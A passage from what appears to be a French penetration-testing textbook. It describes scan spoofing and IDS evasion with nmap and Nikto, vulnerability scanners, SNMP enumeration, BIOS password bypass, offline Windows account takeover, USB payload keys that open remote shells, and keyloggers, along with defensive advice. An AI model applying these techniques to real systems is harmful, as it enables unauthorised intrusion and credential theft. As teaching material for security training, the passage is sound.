On peut également usurper une autre adresse IP avec l’option -S (l’option -e sera peut-être
nécessaire pour préciser l’interface réseau à utiliser) :
On peut aussi usurper une adresse MAC avec l’option --spoof-mac suivie d’une adresse MAC ou du
nom d’un vendeur (Cisco) :
Une autre technique est de spécifier un port source : certains paramétrages de firewall font
confiance au trafic sur la base du port dont il provient. On utilisera l’option -g et --source-port.
nmap -g 53 192.168.1.1
Restrict
ed
Nmap permet également de paramétrer le temps entre chaque requête avec l’option --scan delay :
La technique de scan en Idle Scan consiste à utiliser une machine dite zombie ayant très peu (ou pas)
de trafic (généralement la nuit) pour scanner la cible :
On envoie ensuite un SYN à la cible en se faisant passer pour le zombie (spoof), la cible
répond par un RST si le port est fermé, le zombie n’incrémente pas son IPID.
Si le port est ouvert, elle envoie un SYN/ACK, le zombie envoie alors un RST et
incrémente son IPID de 1, la machine d’attaque qui surveille celui-ci verra alors un +2 sur
l’IPID du zombie signifiant que le port de la cible est ouvert
(https://openclassrooms.com/fr/courses/2340511-maitrisez-vos-applications-et-reseaux-tcp-
ip/5678112-scannez-une-machine-avec-lidle-port-scan).
Restrict
ed
Le framework Metasploit intègre un module qui permet de découvrir des machines zombies
potentielles sur un réseau (IPID incrémental).
Recherche de sous-domaines :
Restrict
ed
Recherche d’hôtes virtuels
Restrict
ed
Les scripts NSE disponibles sur le site de nmap
Masscan est un scanner qui permet de scanner des netblocks sur Internet très rapidement en
précisant les ports recherchés :
Httprint est un outil de fingerprinting du serveur web, disponible pour Linux et Windows, créé par
Net-Square sous licence privée, cependant il est disponible gratuitement pour un usage personnel.
S’appuyant sur les caractéristiques du serveur web en question, il peut identifier avec précision sa
version, même si les bannières de réponse peuvent avoir été obfusquées ou si des plugins tels que
mod_security ont été installés. En outre, httprint peut également être utilisé pour détecter certains
appareils sur la toile qui n’ont pas de bannière de réponse (points d’accès sans fil, routeurs,
commutateurs…). On peut également lui passer un fichier d’IP avec l’option -i et lui demander un
rapport dans différents formats (HTML, CSV, XML).
Le scan est lancé sans ping (-P0) en utilisant un fichier de signatures (-s signatures.txt) et génère un
fichier de résultats au format HTML.
Dans l’exemple ci-après, le fichier httprint.output.html montre qu’un serveur web HP-Chaiserver
version 3.0 tourne derrière le port 80 de l’adresse IP scannée. En fait, nous sommes sur la page
d’administration d’une imprimante réseau.
Restrict
ed
Dmitry est une boîte à outils orientée Web. On peut réaliser un whois sur une adresse IP ou un
domaine, chercher des informations annexes comme des sous-domaines ou des comptes mails,
effectuer un scan de port et lire les bannières renvoyées par le système et les services distants :
Restrict
ed
Frameworks et collecte d’informations
1. Metasploit
Metasploit Framework (intégré à Kali Linux) est un outil pour le développement et l’exécution
d’exploits (logiciels permettant d’exploiter à son profit une vulnérabilité) contre une machine
distante.
Le module auxiliary/gather contient les payloads (charge utile) de collecte d’informations (mails).
2. Recon-ng
Recon-ng est un framework de collecte d’information web fonctionnant sur le même principe que
Metasploit. Il est implémenté par défaut dans Kali. Il utilise des modules de recherche mails, sous-
domaines, sites web…
Comme on peut le constater, peu ou aucun module n’est chargé, il va falloir le faire nous-mêmes en
fonction de nos besoins. La commande marketplace va nous y aider.
Certains peuvent avoir besoin d’une clé API (Shodan, Bing...). Il suffit alors de charger la clé
correspondante et de charger ensuite le module.
Restrict
ed
Chargement de la clé API et installation du module choisi
On peut également créer un espace de travail et le charger, tout ce qu’on cherchera fera partie alors
de cet espace de travail, ce qui sera intéressant quand on utilisera le module de création de rapport
(CSV, JSON, XLSX...).
3. SpiderFoot
SpiderFoot est un outil de prise d’empreinte écrit en Python qui lance un serveur web sur la boucle
locale et le port 5001.
Lancement de SpiderFoot
Restrict
ed
Utilisation du scanner SpiderFoot sur le domaine ENI
Nessus est un outil de sécurité informatique. Il signale les faiblesses potentielles ou avérées sur les
machines testées.
Les mauvaises configurations (relais de messagerie ouverts), les patchs de sécurité non
appliqués, que les failles corrigées soient exploitables ou non dans la configuration testée.
Les mots de passe par défaut, quelques mots de passe communs, et l’absence de mot de
passe sur certains comptes système. Nessus peut aussi appeler le programme externe Hydra
pour attaquer les mots de passe à l’aide d’un dictionnaire.
Les services jugés faibles (on suggère par exemple de remplacer Telnet par SSH), les dénis de
service contre la pile TCP/IP.
nessusd, qui est un daemon (service) exécutant les requêtes ainsi que la communication avec
la cible.
nessus, une application cliente qui récupère les données et affiche le résultat.
Ce découpage est courant, le service fonctionne avec des privilèges élevés (administrateur) alors que
l’interface graphique, plus complexe et vulnérable, s’exécute avec l’identité d’un utilisateur non
privilégié.
Les tests sont joués par des plugins ; quelques-uns sont en C compilé, mais la majorité sont écrites
dans le langage de script NASL (Nessus Attack Scripting Language).
Restrict
ed
Scan des ports avec un des quatre scanners internes, ou un scanner externe amap ou nmap
(déconseillé pour des raisons de performances).
Récupération d’informations :
Connexion (SSH, Telnet ou RSH) pour récupérer la liste des packages installés.
Attaques simples, peu agressives. Par exemple, déplacement dans les répertoires, test de
relais de messagerie ouverts, etc.
Les dernières catégories de tests, plus agressives, peuvent avoir des conséquences désastreuses sur
la disponibilité du système (crash de la machine visée, voire des équipements réseau) et peuvent
être désactivées dans le mode safe checks.
Installation
Une fois installé, il reste quelques étapes. Si Nessus n’est pas démarré, il faut le lancer.
Sur Ubuntu :
Restrict
ed
Configuration initiale de Nessus
Après avoir entré le couple login/mot de passe à l’écran d’accès, vous arrivez sur l’écran d’accueil qui
propose par défaut différents types de scans prédéfinis ou la possibilité de personnaliser votre scan.
Vous pouvez configurer Nessus en cliquant sur Paramètres. Par exemple, l’envoi de mail de
notification des scans.
Pour lancer un scan, choisissez l’onglet Scans puis New scan. Choisissez parmi les modèles
(templates) de politiques (policies) de scan proposés ou vous pouvez aussi définir une nouvelle
politique de scan dans l’onglet Policies (par exemple Basic Network Scan).
Vous pouvez alors paramétrer le scan et le nommer, lui indiquer où stocker les résultats, la cible (IP,
plage IP, classe IP...), le planifier...
Il est aussi possible de déclarer un e-mail pour la notification, choisir le nombre de ports et
customiser complètement le scan.
Paramétrage du scan
Une fois le scan fini, cliquez sur celui-ci pour afficher les résultats.
Pour obtenir plus de renseignements sur une adresse IP scannée, cliquez sur celle-ci et vous accédez
à un rapport détaillé. Vous constaterez au passage que Nessus classe les failles découvertes par
criticité.
Résultats du scan
À nouveau, il vous est possible d’obtenir des informations détaillées en cliquant sur la vulnérabilité
découverte par Nessus.
Nessus permet également de générer un rapport sous différents formats (PDF, HTML, CSV).
Restrict
ed
Nessus ayant, comme c’est souvent le cas, basculé en mode propriétaire dès la version 3.0,
un fork (branche dérivée) basé sur la version 2.2 de Nessus a rapidement vu le jour : OpenVAS.
OpenVAS s’appuie sur un ensemble de vulnérabilités connues des NVT (Network Vulnerability Tests)
dont la liste est maintenue et mise à jour par GreenBone (https://www.greenbone.net/en/).
OpenVAS est disponible dans les paquets Kali Linux et installable avec le gestionnaire apt.
Pour ceux qui voudraient essayer OpenVAS sans l’installer, une machine virtuelle est disponible en
mode test pour 14 jours ici : https://www.greenbone.net/en/testnow/
Durant l’installation, OpenVAS va créer une clé de chiffrement et aura besoin pour cela de données
aléatoires générées, il faudra donc vous assurer que le service havaged s’exécute bien sur votre
machine.
Installation d’OpenVAS
Pour des raisons de marketing, le script d’installation openvas-setup a été renommé en gvm-setup
(Greenbone Vulnerability Manager). OpenVAS reste malgré tout open source. On lance le script
d’installation :
sudo gvm-setup
Restrict
ed
Lancement du script gvm-setup
gvm-chrck-setup
Il est important pour un scanner de sécurité de maintenir sa base de vulnérabilités à jour. Le script
suivant est disponible à cet effet :
gvm-feed-update
OpenVAS est maintenant installé, il ne vous reste plus qu’à vous connecter à l’adresse suivante avec
l’utilisateur admin et le mot de passe donné à l’installation : https://127.0.0.1:9392
Pour lancer et paramétrer un scan, il suffit de cliquer sur l’onglet Scan et ensuite sur l’icône en haut à
gauche (New scan) de la fenêtre qui s’ouvre puis de paramétrer le type de scan et la ou les cibles de
celui-ci (scan de base, avancé, cible, fichier de cibles, port, protocole, brute force...).
Paramétrage du scan
Il suffit ensuite de lancer le scan en cliquant sur l’icône Start en bas à droite.
Lancement du scan
En cliquant sur le scan effectué, on visualise alors les résultats, que l’on peut exporter en différents
formats (XML, PDF, TXT, CSV...).
Résultats du scan
Restrict
ed
Il est possible de configurer les éléments du scan avant de créer celui-ci. L’onglet Configuration vous
permet de configurer vos cibles, les ports à scanner, les types de scans (modèles ou personnalisés), la
planification...
Nikto est un scanner de vulnérabilités web open source (GPL) développé en Perl qui effectue des
tests complets contre les serveurs web. Il teste plus de 3500 fichiers potentiellement dangereux. Il
permet de tester un serveur web rapidement et est implémenté dans Kali-rolling (version 2.1.6).
Utilisation :
Lancement de Nikto
nikto -h IP-evasion 1
Nikto étant facilement repérable dans les logs, nous utilisons l’option -evasion 1.
On peut également demander à Nikto de passer par un proxy anonyme. Une liste (à vérifier) de
proxies anonymes est disponible à l’adresse suivante : https://multiproxy.org/anon_proxy.htm
Il faudra pour cela signifier à Nikto de passer par le proxy choisi (-useproxy) et modifier le fichier
nikto.conf.
Restrict
ed
Faraday : IPE (Integrated Penetration- Test Environment)
Faraday est ce que l’on appelle un environnement intégré de test de pénétration. Il est de type open-
core (cohabitation d’une édition Entreprise et d’une édition Communautaire).
Il est développé pour distribuer, répertorier et analyser les données générées lors d’un test de
pénétration.
Il permet via différents plugins de récupérer les résultats des analyses de vos outils de pentest.
Le plus facile à utiliser est le plugin console qui permet de taper vos commandes
préférées dans le terminal spécifique de faraday et de récupérer les résultats dans l’interface
web.
Vient ensuite le plugin rapport qui vous permet de récupérer le contenu de rapports générés
par certains outils.
Et pour finir, les plugins API encore appelés "plugins en ligne" qui permettent soit d’accéder à
l’API de Faraday, soit à Faraday de se connecter à des API et bases de données.
Faraday est intégré dans la dernière distribution Kali 2021. Pour le lancer, il suffit de cliquer
sur Faraday IDE Start dans le menu Rapport de Kali Linux.
Faraday sera alors lancé sur localhost:5985 et on vous demandera de vous connecter à l’interface
web (noter le user "faraday" par défaut et le mot de passe fourni).
L’interface web se lance sur le dashboard, et en cliquant sur New, on crée un nouveau projet.
Pour utiliser le plugin console, il faut lancer le client faraday en mode console et choisir l’espace de
travail sur lequel vous voulez vous connecter :
faraday-client
Client faraday
Espace de travail
On peut ensuite lancer ses applications préférées en ligne de commande sans s’occuper des résultats
qui seront enregistrés dans l’interface web (plusieurs instances de consoles peuvent être lancées).
Restrict
ed
On peut visualiser le résultat dans l’interface web.
On peut également voir les opérations réalisées sur une IP particulière en cliquant sur celle-ci.
On peut également importer un rapport d’application en cliquant sur l’icône dossier en haut à
gauche de l’écran. La liste des applications compatibles est impressionnante (environ 70).
https://github.com/infobyte/faraday/wiki/Plugin-List
https://api.faradaysec.com/
Faraday est un outil multi-users très intéressant en termes d’intégration, il faut juste déplorer le fait
de ne pas pouvoir générer un rapport dans la version Communautaire, ce qui est dommage car c’est
ce qui fait l’intérêt de cet outil.
Restrict
ed
TL-OSINT : une machine virtuelle pour l’OSINT
Pour ceux qui ne veulent pas installer les outils un à un, l’équipe de Trace Labs a implémenté une VM
OSINT qui rassemble les outils OSINT les plus efficaces et de nombreux scripts personnalisés. La VM
est basée sur une version modifiée de la célèbre distribution Kali-Linux. On peut la télécharger
ici : https://www.tracelabs.org/initiatives/osint-vm
Le menu Open Source Intelligence contient de nombreux outils qui vous seront très utiles dans vos
recherches.
Restrict
ed
Le protocole SNMP (Simple Network Management Protocol)
SNMP, proposé par l’IETF (Internet Engineering Task Force), est actuellement le protocole le plus
utilisé pour la gestion des équipements réseau.
Switches, hubs, routeurs et serveurs sont des exemples d’équipements contenant des
objets manageables. Ces objets sont des informations matérielles ainsi que des paramètres
directement liés au comportement de l’équipement en question.
Ces objets sont classés dans une base de données appelée MIB (Management Information Base).
SNMP permet le dialogue entre le superviseur et les agents installés sur les périphériques afin de
recueillir les objets souhaités dans la MIB.
Au travers de SNMP, il est possible d’obtenir des informations concernant les éléments suivants :
La topologie du réseau.
L’accès aux variables est protégé par un community name. On distinguera donc la station de
supervision (manager), les éléments actifs du réseau (agents), les variables MIB et un protocole
(UDP).
La station de travail utilise le port 162 en UDP pour recevoir les alertes des agents, les agents utilisent
eux le port 161.
Restrict
ed
2. Les réponses SNMP
À la suite de requêtes, l’agent répond toujours par GetResponse. Toutefois, si la variable demandée
n’est pas disponible, GetResponse sera accompagné d’une erreur noSuchObject.
Les alertes sont envoyées quand un événement non attendu se produit sur l’agent. Celui-ci en
informe la station de supervision via une trap. Les alertes possibles sont les suivantes :
ColdStart
WarmStart
LinkDown
LinkUp
AuthenticationFailure
4. La MIB
Pour interroger les différentes variables d’activité il faudra explorer la MIB via les numéros repérant
chaque niveau hiérarchique, par exemple 1.3 pour ORG.
Les outils d’interrogation de la MIB sont installés sous Kali-rolling. Sous Debian, il est très facile de les
installer avec la commande suivante :
Restrict
ed
Il est également utile de récupérer le paquet snmp-mibs-downloader. Il récupère les MIB référencées
IANA, IETF et NETSNMP.
6. SNMP et la sécurité
La sécurité n’a pas toujours été intégrée dans le protocole SNMP. Les droits d’accès sont gérés par ce
qu’on appelle les communautés. Un nom de communauté SNMP est une clé partagée entre la station
de gestion SNMP et le périphérique (routeur, switch..). Les versions SNMP v1 et 2 n’ont pas de
mécanisme adéquat pour la sécurité des fonctions de gestion. La communauté est de type public par
défaut.
La version 3 inclut la sécurité des transactions. Les transactions sont cryptées et le contrôle d’accès à
la MIB est assuré par le VACM (View Access Control Model). On peut ainsi restreindre l’accès à la MIB
en lecture/écriture pour un groupe ou un utilisateur.
7. L’outil snmpwalk
L’outil snmpwalk de la suite snmp permet de lister le contenu de la MIB quand celle-ci est de type
public :
On peut être plus précis dans la requête et lui préciser une partie spécifique de la
structure arborescente de la MIB quand on connaît celle-ci pour cibler par exemple les users, les
services, les logiciels installés...
Restrict
ed
Listing des users dans la MIB
8. L’outil snmpcheck
D’autres outils comme snmpcheck, disponible sur Kali, permettent le scan de périphériques réseau
avec une meilleure lisibilité.
Outil snmpcheck
Onesixtyone est un outil qui, à partir ou non d’un dictionnaire, permet de chercher les noms de
communautés déclarées sur un périphérique utilisant les protocoles SNMP V1 et 2.
Restrict
ed
La première des règles à appliquer est de désactiver le service SNMP si celui-ci n’est pas nécessaire
(service parfois activé par défaut sur certains équipements).
On pourra également filtrer le trafic SNMP des hôtes internes non autorisés, changer le nom de la
communauté par défaut ou isoler le trafic SNMP sur un autre réseau.
http://ram-0000.developpez.com/tutoriels/reseau/SNMP/
http://ram-0000.developpez.com/tutoriels/reseau/Net-SNMP-1/
http://ram-0000.developpez.com/tutoriels/reseau/Net-SNMP-2/
Restrict
ed
Le reporting
Au cours d’une prise d’empreinte, nous récupérons une foule de renseignements qu’il va falloir
enregistrer et classer. Dans le cas d’un audit, cette collecte d’informations ne représente qu’une
partie de celui-ci et nous avons très vite besoin d’un outil qui nous facilite la tâche.
Dradis est un framework open source qui permet un recensement et un partage efficace
d’informations.
C’est une application web (client-serveur) indépendante qui met à disposition un espace de partage
centralisé permettant de garder une trace des tests effectués. On peut y adjoindre des notes, des
documents, tout ce qui peut concerner un audit.
On peut également trouver énormément de plugins pour Dradis comme les plugins Nmap, Nessus ou
Nikto qui mettent en forme les rapports générés par ceux-ci.
Multiportabilité.
Dradis fonctionne sous Linux et Windows, nous pouvons télécharger sur son site la version
communautaire (https://dradisframework.com/ce/) ainsi que toute la documentation nécessaire à
son installation.
https://osintframework.com/
Restrict
ed
Les failles systèmes
Généralités
Les systèmes d’exploitation sont de plus en plus sophistiqués et de plus en plus simples du point de
vue utilisateur. Les mécanismes sous-jacents, parfois très compliqués, sont masqués afin de faciliter
l’accès à l’outil informatique au plus grand nombre. Malheureusement, cette "simplification" est
souvent réalisée au détriment de la sécurité et des performances.
Même si depuis quelques années les concepteurs, conscients des enjeux liés à la sécurité et à la
protection des données, essaient d’améliorer leurs applications, les utilisateurs, quant à eux, restent
généralement le maillon faible. Mal formés ou informés, peu habitués aux contraintes de sécurité,
comme la confirmation ou la saisie de mot de passe, ils préfèrent souvent désactiver les protections
mises en place ou ignorer les messages d’avertissement. C’est ainsi que, combinées avec un accès à
Internet permanent, bon nombre de machines d’utilisateurs lambda sont transformées en machines
zombies et utilisées pour réaliser des attaques dont l’ampleur et la dissimulation sont
proportionnelles au nombre de machines utilisées.
Mais le constat ne s’arrête pas là : à l’origine simple assemblage d’électronique, les éléments de
notre quotidien comme les téléphones mobiles, les réfrigérateurs, les téléviseurs, les caméras...
embarquent désormais des systèmes d’exploitation à part entière qui peuvent être modifiés. De plus,
à l’heure du tout communiquant, ces matériels constituent des risques supplémentaires, dont les
issues peuvent être critiques : l’alarme de la maison désactivable depuis Internet en est l’exemple
évident.
Voyons dans cette partie du livre quelques faiblesses de ces systèmes, comment les exploiter, mais
surtout comment s’en protéger.
Restrict
ed
Les failles physiques
1. Introduction
Souvent, la sécurisation des accès aux matériels informatiques n’est pas une priorité pour les
entreprises ou les administrations. Pour s’en convaincre, il suffit de faire le test et de voir avec quelle
facilité, sous un prétexte quelconque, une personne étrangère à un service peut souvent accéder aux
ordinateurs ou aux autres ressources informatiques du personnel.
En effet, autant les accès aux serveurs, aux routeurs et aux autres matériels
d’administration informatique sont, dans les moyennes ou grandes entreprises, sous clé dans une
salle spécialisée, autant les ordinateurs d’exploitation ou administratifs sont relativement
accessibles.
Quand la question sur l’accès au matériel est posée au personnel, celui-ci relativise généralement le
problème et répond qu’il n’a, par exemple, pas accès à des informations confidentielles, que
l’entreprise fonctionne comme cela depuis des années et qu’elle n’a jamais connu le moindre
problème. Quelquefois même la question est éludée sous prétexte que jamais aucune information
ou même formation n’a été dispensée.
Dans les petites sociétés, les ordinateurs sont souvent très accessibles et un même compte
utilisateur est souvent utilisé par tous avec un seul mot de passe (quand il y en a un !).
Or, l’accès physique (même restreint) à un ordinateur peut avoir des conséquences désastreuses
pour une entreprise.
2. Lockpicking
On trouvera de nombreux sites expliquant toutes les techniques utilisables ainsi que les outils
nécessaires. Ceux-ci peuvent être fabriqués artisanalement ou achetés sur Internet.
Deux cas de figure sont possibles lors d’un accès physique à une machine :
Anciennement, certains BIOS comme les BIOS Award antérieurs à la version 4.51 disposaient de mot
de passe universel permettant un accès direct au BIOS, et des listes contenant lesdits mots de passe
étaient disponibles sur Internet.
D’autres constructeurs comme Toshiba autorisaient l’accès au BIOS sans vérification de mot de passe
si un signal envoyé sur la sortie du port parallèle était récupéré sur l’entrée. D’autres encore
attendaient la pression d’une touche ou d’une séquence de touches comme maintenir enfoncée la
touche [Inser] au démarrage de la machine.
Restrict
ed
Certains BIOS affichent un code après plusieurs essais infructueux. Il suffit d’entrer ce code dans le
champ du formulaire Get Password de sites spécialisés (http://dogber1.blogspot.fr/2009/05/table-
of-reverse-engineered-bios.html, https://bios-pw.org) pour recevoir un autre code à entrer dans
l’invite de mot de passe du BIOS.
Il est également possible de réinitialiser le BIOS d’un ordinateur mais cela demande du temps et des
interventions physiques qui, si l’on n’est pas seul, peuvent sembler suspectes et attirer l’attention du
voisinage.
Pour remettre le mot de passe du BIOS à zéro, il faut accéder à la carte mère et donc ouvrir
l’ordinateur. Toutes les manipulations qui suivent doivent impérativement être effectuées sur
l’ordinateur éteint. Il faut ensuite rechercher le composant appelé CMOS qui mémorise la date,
l’heure et divers paramètres, dont le mot de passe. Selon la carte mère, deux cas sont possibles :
Si celle-ci dispose d’un connecteur CMOS doté d’un cavalier, il faut déplacer ce
cavalier quelques instants sur les autres broches de ce même connecteur (repéré souvent
CMOS CLAIR - CLR - CLRPWD - PASSWD - MOT DE PASSE - PWD), puis le replacer dans sa
position initiale. Cette manipulation a pour effet de créer un léger court-circuit qui vide le
CMOS.
Si la carte mère ne possède pas de cavalier de ce type, il faut ôter pendant quelques minutes,
voire plusieurs heures la pile plate de la carte mère.
Pile ou cavalier ?
Dans certains cas, l’ordinateur est équipé d’une mémoire EEPROM et le mot de passe est sauvegardé
dans celle-ci. Débrancher la pile n’effacera donc pas le mot de passe.
Aujourd’hui, les constructeurs d’ordinateurs préfèrent trouver des solutions obligeant l’utilisateur à
passer par leurs services aussi bien pour s’assurer que vous êtes le propriétaire de la machine que
pour vous facturer la prestation.
Des logiciels comme CmosPwd, killCmos ou !BIOS permettent d’accéder au BIOS depuis un
ordinateur allumé.
Le logiciel CmosPwd
Mettre un mot de passe sur le BIOS pour l’amorçage est un bon moyen de protection, mais combien
d’entre nous le font vraiment ?
Lors de la DEFCON 2012, un proof of concept redoutable a été présenté par Jonathan Brossard
(http://2012.hackitoergosum.org/blog/wp-content/uploads/2012/04/HES-2012-
jbrossard_fdemetrescu-Hardware-Backdooring-is-pratical.pdf), de la société française Toucan-System
(organisatrice du No Such Conference).
Restrict
ed
Celui-ci, expert en sécurité IT, a mis au point un backdoor capable de se substituer au BIOS pour
l’infecter au démarrage sans laisser de traces sur le disque.
Il infecte les firmwares de périphériques PCI tels que les cartes réseau et il reprogramme le
micrologiciel iPXE pour contourner les éventuels obstacles que pourraient constituer des
interrupteurs matériels (switchs).
Rakshasa initie une connexion Wi-Fi ou WiMAX de préférence afin de ne laisser aucune trace sur le
réseau local.
Si cela n’est pas possible, l’interface Ethernet est sollicitée pour rapatrier du code malveillant, par
HTTP(S) ou FTP via un bootkit.
Ce processus s’exécute à chaque mise en route, rien n’étant stocké sur le disque dur. Rakshasa
transfère tout en RAM pour une discrétion maximum. Il peut également se mettre à jour à distance.
Pour tout un chacun, un ordinateur éteint ne semble pas poser de problème de sécurité dès l’instant
où, pour ouvrir une session sur le système, il faut disposer d’un identifiant et d’un mot de passe.
C’est sans compter sur les possibilités qu’offrent les systèmes tels que les liveCD et les clés USB
bootables pour ne citer qu’eux. Ces technologies s’adaptent à tout type de système d’exploitation et
sont souvent utilisées pour les opérations de maintenance technique comme la perte de mot de
passe.
Pour l’utiliser, il faut booter sur le liveCD ou la clé USB bootable. Sur la majeure partie des
ordinateurs actuels, une pression sur [F12] au démarrage permet de choisir notre média de boot.
Le premier écran demande sur quelle partition travailler, généralement le choix (1) qui est proposé
par défaut est le bon. Si un double boot existe, il faudra alors choisir la partition supportant le
système auquel on veut accéder.
Restrict
ed
Choix de la partition système
Il faut ensuite définir la localisation du registre. Là aussi, le choix par défaut est généralement le bon
(windows/system32/config).
Chemin du registre
L’écran suivant affiche un menu ; le choix par défaut propose d’effacer un mot de passe (1).
Un menu intermédiaire propose alors d’éditer la base des utilisateurs. Via un dernier écran, il est
possible de mettre à blanc le mot de passe, de redéfinir le mot de passe de l’utilisateur, de
promouvoir un compte normal en administrateur et de déverrouiller un compte bloqué.
Pour quitter les menus, pressez successivement ! puis q et enfin y pour valider l’écriture dans le
registre.
Redémarrez alors la machine qui, au reboot, affichera dans certains cas un écran proposant de
vérifier l’intégrité de l’un des disques (celui qui vient d’être modifié) ; ignorez cette vérification.
Réactiver et inscrire dans le groupe Administrateurs un compte anodin (invité par exemple) permet à
une personne malintentionnée de rester discrète et de disposer d’un compte ayant des droits
d’administration.
Ce n’est pas une surprise, la clé USB (sous toutes ses formes) est un vecteur d’infection considérable.
Qu’elle soit utilisée pour exécuter une application cachée ou pour émuler un clavier HMI, il est
vivement recommandé de ne l’utiliser qu’en dernier recours.
U3PWN
La démarche est relativement simple mais il vous faudra au préalable installer Metasploit, les U3-
tools et Python 2.7.
Ensuite, il suffit de lancer U3PWN pour faire apparaître un menu qui vous proposera dans un premier
temps de remplacer le launchpad de votre clé afin de pouvoir lancer le payload que vous allez
installer.
Restrict
ed
Puis il vous proposera un choix d’attaques et d’outils d’offuscation à définir en fonction de la cible.
Il vous demandera ensuite de paramétrer l’IP et le port sur lequel votre serveur Metasploit écoutera
et vous proposera de lancer celui-ci sur votre machine si vous le désirez.
Il ne vous restera qu’à insérer votre clé U3 dans la machine cible pour que le payload s’exécute et
vous ouvre un shell distant.
La clé Ducky
Restrict
ed
Celle-ci est élaborée à partir d’une carte microSD couplée à un processeur 32 bits de 60 MHz de chez
Atmel.
Le fonctionnement de cette clé est simple, il suffit d’écrire un "Ducky script" dont la syntaxe est très
facile à comprendre.
DELAY Suivi d’un chiffre traduit en ms introduira un délai entre chaque commande (1000
= 1 seconde).
Les séquences de touches sont, elles aussi, interprétées ([Alt][F4], [Ctrl][Echap], [Windows] R, [Shift]
[Tab]...) par le clavier.
Tout ce qui peut être interprété par le clavier (commandes DOS, wscript, VB, PowerShell) peut être
tapé.
Le programme devra ensuite être compilé soit avec l’utilitaire duckencode.jar (version 2.6.4), soit sur
des sites où vous pourrez directement taper et compiler celui-ci. Vous devrez ensuite copier le
binaire inject.bin ainsi créé dans la microSD et insérer votre clé Ducky dans le PC cible pour que le
programme s’exécute automatiquement.
Compilons celui-ci :
Restrict
ed
Il suffit ensuite d’insérer la clé Ducky dans le PC cible pour voir son programme s’exécuter.
Il est possible également de créer votre propre clé Ducky, la seule contrainte étant qu’elle possède le
composant Phison 2251-03 (2303).
Les keyloggers sont très faciles à installer dès que l’on a accès au matériel. Un keylogger matériel
(littéralement enregistreur de touches) est un dispositif chargé d’enregistrer les frappes de touches
du clavier à l’insu de l’utilisateur. Il s’agit donc d’un dispositif d’espionnage. Dans la mesure où les
keyloggers enregistrent toutes les frappes de clavier, ils peuvent servir à des personnes
malintentionnées pour récupérer les mots de passe des utilisateurs du poste de travail ! Quelques
secondes suffisent pour les installer et ils sont généralement très discrets.
Les keyloggers matériels s’installent très facilement ; il suffit, pour certains, de les installer sur la prise
de branchement du clavier de type USB ou plus rarement de type PS/2.
Il existe également un troisième type, beaucoup plus discret mais qui demande quelques petits
talents de bricolage : le keylogger module, un keylogger matériel modulaire destiné à être incorporé
à l’intérieur du clavier USB ou PS/2. Des connexions universelles 2,5 mm garantissent une
compatibilité totale. Une fois installé, ce keylogger est absolument invisible pour les yeux et pour les
logiciels.
Il existe de nombreux sites sur Internet où l’on vous explique comment bricoler vous-même votre
keylogger.
Le mode opératoire des keyloggers est identique, qu’ils soient matériels ou logiciels, même s’il existe
une multitude de keyloggers différents. Les keyloggers se lancent directement au démarrage de la
Restrict
ed
machine hôte. Une fois le keylogger lancé, il enregistre au fur et à mesure tout ce qui est tapé sur le
clavier. Si la machine cible est pourvue d’une connexion internet, le keylogger enverra discrètement,
à une adresse e-mail ou à un serveur internet, un fichier généralement crypté contenant tous les
renseignements collectés. Ainsi, l’espion aura tout le temps nécessaire pour retracer votre activité et
sélectionner les éléments qui lui semblent utiles.
En fonction du keylogger sélectionné, différents écrans de configuration existent. Malgré tout, ceux-
ci se ressemblent : il est possible de choisir quelles touches intercepter, le chemin du fichier de log,
les clics de souris, les pop-up, les copier-coller. Des plages horaires intéressantes peuvent également
être définies.
Les éléments importants comme la date, les applications ouvertes et le choix ou non du chiffrement
du fichier de trace peuvent être définis. Le mot de passe réclamé par le keylogger permet d’assurer
au pirate que lui seul pourra décrypter le fichier. Même si un utilisateur découvrait un fichier crypté,
il ne saurait reconnaître les éléments contenus à l’intérieur.
Restrict
ed
Paramétrage des actions
Auto-destruction
Les keyloggers sont des outils particulièrement dangereux puisqu’ils permettent de récupérer les
mots de passe et les noms d’ouverture de session des utilisateurs. Ils peuvent aussi être un outil de
"surveillance" pour les entreprises (vérifier les activités réalisées par les salariés pendant les heures
de bureau...). L’utilisation d’un keylogger ne saurait être légale sans le consentement préalable du
salarié. Sur un poste non connecté à Internet, l’installation d’un tel outil implique le passage du
pirate sur la machine cible. Le meilleur moyen de prévention reste donc la vigilance, vérifier sa
Restrict
ed
connectique, ne pas quitter son poste sans avoir au minimum verrouillé son écran, ne pas diffuser
son mot de passe et s’assurer qu’il soit assez complexe.
Si un fichier suspect est détecté, la première mesure à prendre est de déconnecter la machine du
réseau. Des programmes comme ProcDump permettent ensuite d’afficher les tâches s’exécutant
(généralement, le Gestionnaire des tâches ne voit pas les keyloggers). Un programme bien connu des
initiés est le fameux HijackThis. C’est un outil capable de détecter, entre autres choses, les
programmes lancés au démarrage du système. Il permet de consulter tous les éléments et
éventuellement de les retirer de l’ordinateur. Le logiciel peut également enregistrer des paramètres
par défaut et ignorer certains éléments définis.
Les mots de passe restent actuellement le moyen le plus répandu pour contrôler les accès à des
ressources restreintes. Ils sont utilisés depuis des siècles, notamment dans le domaine militaire. De
plus, ils interviennent à de nombreux niveaux : au démarrage de l’ordinateur, lors de l’accès au
courrier électronique...
En informatique, un mot de passe est une suite de caractères, pas forcément constituée uniquement
de chiffres et de lettres, avec ou sans signification.
2. Complexité
La qualité d’un mot de passe se définit par sa complexité à être deviné, trouvé, et par sa longueur. Il
faut bien comprendre qu’un mot de passe n’est pas une garantie de protection absolue. Il permet
seulement de ralentir, plus ou moins efficacement, un attaquant. En effet, l’essai de toutes les
combinaisons permettra finalement d’obtenir l’accès au système protégé.
Prenons un cas réel : la perte du code d’un antivol de vélo, constitué de trois rouleaux numérotés
chacun de 0 à 9. Chaque rouleau a donc 10 valeurs. Les trois rouleaux permettent alors 10*10*10
possibilités, soit 1000. Les essais successifs de ces 1000 combinaisons pouvant être effectués en un
temps raisonnable, la serrure peut être déverrouillée sans en connaître le code.
Un ordinateur ira vraiment beaucoup plus vite et un réseau d’ordinateurs encore plus !
Cependant, le mot de passe peut être beaucoup plus long et les caractères possibles sont plus
nombreux. La tâche n’est alors pas si facile car le nombre de possibilités devient rapidement
gigantesque.
Mais, par facilité, la plupart des gens choisissent un mot de passe ayant un sens dans leur langue, une
signification pour eux, comme le prénom du conjoint. Autrement dit, une suite de mots qui peuvent
être extraits d’un dictionnaire. Les choix sont alors très restreints et l’utilisation du dictionnaire
adéquat permet de retrouver rapidement le mot de passe.
À ce niveau, les recommandations sont les suivantes : un mot de passe doit être suffisamment long,
au moins 16 caractères, et constitué de caractères alphanumériques, chiffres, lettres, majuscules,
minuscules, et de symboles comme #, %, !...
Restrict
ed
